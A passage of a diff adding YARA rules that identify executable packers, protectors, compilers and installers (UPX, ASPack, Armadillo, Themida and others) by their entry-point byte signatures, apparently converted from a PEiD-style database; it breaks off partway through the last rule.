+	meta:
+		description = "NeoLite v1.0"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+		$1 = {E9 9B 00 00 00 A0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v184_
+{
+	meta:
+		description = "Armadillo v1.84"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v062_
+{
+	meta:
+		description = "UPX v0.62"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Hasp_dongle_Alladin_
+{
+	meta:
+		description = "Hasp dongle (Alladin)"
+	strings:
+		$0 = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16d__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6d --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_01_
+{
+	meta:
+		description = "Unknown packer (01)"
+	strings:
+		$0 = {EB ?? ?? BE ?? ?? BF ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_108_
+{
+	meta:
+		description = "ASPack 1.08"
+	strings:
+		$0 = {90 90 90 75 01 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Stranik_13_ModulaCPascal_
+{
+	meta:
+		description = "Stranik 1.3 Modula/C/Pascal"
+	strings:
+		$0 = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ChSfx_small_v11_
+{
+	meta:
+		description = "ChSfx (small) v1.1"
+	strings:
+		$0 = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1987_
+{
+	meta:
+		description = "Turbo C 1987"
+	strings:
+		$0 = {FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v1032_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Cracked_by_Autohack_2_
+{
+	meta:
+		description = "Cracked by Autohack (2)"
+	strings:
+		$0 = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V2x__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.x -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5}
+	condition:
+		$0
+}
+rule _tElock_v042_
+{
+	meta:
+		description = "tElock v0.42"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Stealth_275a__WebtoolMaster_
+{
+	meta:
+		description = "Exe Stealth 2.75a -> WebtoolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252b2_
+{
+	meta:
+		description = "Armadillo v2.52b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_110_
+{
+	meta:
+		description = "Ady's Glue 1.10"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v0b_
+{
+	meta:
+		description = "PE Spin v0.b"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PrincessSandy_v10_eMiNENCE_Process_Patcher_Patch_
+{
+	meta:
+		description = "PrincessSandy v1.0 eMiNENCE Process Patcher Patch"
+	strings:
+		$0 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+	condition:
+		$0
+}
+rule _Alloy_v1x2000_
+{
+	meta:
+		description = "Alloy v1.x.2000"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 DLL] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+		$1 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v11_BRS_
+{
+	meta:
+		description = "ASProtect v1.1 BRS"
+	strings:
+		$0 = {60 E9 ?? 05}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098__tHE_EGOiSTE_h_
+{
+	meta:
+		description = "tElock v0.98 -> tHE EGOiSTE (h)"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ExeSmasher__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ExeSmasher] --> Anorganix"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+		$1 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v092_
+{
+	meta:
+		description = "PECompact v0.92"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v17_
+{
+	meta:
+		description = "Exe Shield v1.7"
+	strings:
+		$0 = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+		$1 = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _pex_V099__params_
+{
+	meta:
+		description = "pex V0.99 -> params"
+	strings:
+		$0 = {E9 F5 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v11__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13__v14__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3 / v1.4 --> Vaska"
+	strings:
+		$0 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v131_
+{
+	meta:
+		description = "FSG v1.31"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Ninja_v10__pDzA_kRAker_TNT_
+{
+	meta:
+		description = "PE Ninja v1.0 -> +DzA kRAker TNT"
+	strings:
+		$0 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V37__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.7 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_50p_MFC__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 5.0+ (MFC)] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCryptor_v11__Vaska_
+{
+	meta:
+		description = "RCryptor v1.1 --> Vaska"
+	strings:
+		$0 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0
+}
+rule _UPX_v070_
+{
+	meta:
+		description = "UPX v0.70"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {8C CB B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8D ?? ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC 2E ?? ?? ?? ?? 73}
+		$2 = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Can2Exe_v001_
+{
+	meta:
+		description = "Can2Exe v0.01"
+	strings:
+		$0 = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_6x_
+{
+	meta:
+		description = "WinZip (32-bit) 6.x"
+	strings:
+		$0 = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+	condition:
+		$0 at entrypoint
+}
+rule _vfpexeNc_V500__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc V5.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098b2_
+{
+	meta:
+		description = "tElock v0.98b2"
+	strings:
+		$0 = {E9 1B E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b7_
+{
+	meta:
+		description = "PECompact v1.10b7"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v015b_
+{
+	meta:
+		description = "CodeCrypt v0.15b"
+	strings:
+		$0 = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Vterminal_V10X__Lei_Peng_
+{
+	meta:
+		description = "Vterminal V1.0X -> Lei Peng"
+	strings:
+		$0 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v198_
+{
+	meta:
+		description = "Nullsoft Install System v1.98"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_10__30__Amok_
+{
+	meta:
+		description = "Spalsher 1.0 - 3.0 -> Amok"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v12_
+{
+	meta:
+		description = "PEtite v1.2"
+	strings:
+		$0 = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)"
+	strings:
+		$0 = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v__If_you_know_this_version_post_on_PEiD_board_h2_
+{
+	meta:
+		description = "ASProtect v?.? -> If you know this version, post on PEiD board (h2)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _PseudoSigner_02_FSG_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.31] --> Anorganix"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+		$1 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XtremeProtector_v105_
+{
+	meta:
+		description = "Xtreme-Protector v1.05"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v101b_
+{
+	meta:
+		description = "ASPack v1.01b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_2117__StrongbitSoftComplete_Development_h_
+{
+	meta:
+		description = "EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+	condition:
+		$0
+}
+rule _VProtector_V10B__vcasm_
+{
+	meta:
+		description = "VProtector V1.0B -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_440__Silicon_Realms_Toolworks_h_
+{
+	meta:
+		description = "Armadillo 4.40 -> Silicon Realms Toolworks (h)"
+	strings:
+		$0 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+		$1 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+	condition:
+		$0 or $1
+}
+rule _ORiEN_V212__Fisun_AV_
+{
+	meta:
+		description = "ORiEN V2.12 -> Fisun A.V."
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CD 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1802_p___Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.0.2 +  -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _beria_v007_public_WIP__symbiont_
+{
+	meta:
+		description = "beria v0.07 public WIP --> symbiont"
+	strings:
+		$0 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v104b_
+{
+	meta:
+		description = "ASPack v1.04b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_Beta_Patch__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.32 Beta (Patch) -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+	condition:
+		$0
+}
+rule _MEW_11_SE_v12_
+{
+	meta:
+		description = "MEW 11 SE v1.2"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _tElock_v100_
+{
+	meta:
+		description = "tElock v1.00"
+	strings:
+		$0 = {E9 E5 E2 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__bubba_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> bubba"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Macromedia_Flash_Projector_60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Macromedia Flash Projector 6.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Crunch_v5__BitArts_
+{
+	meta:
+		description = "Crunch v5 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+		$1 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v0977_
+{
+	meta:
+		description = "PECompact v0.977"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Winkript_v10_
+{
+	meta:
+		description = "Winkript v1.0"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11A__vcasm_
+{
+	meta:
+		description = "VProtector V1.1A -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+		$1 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
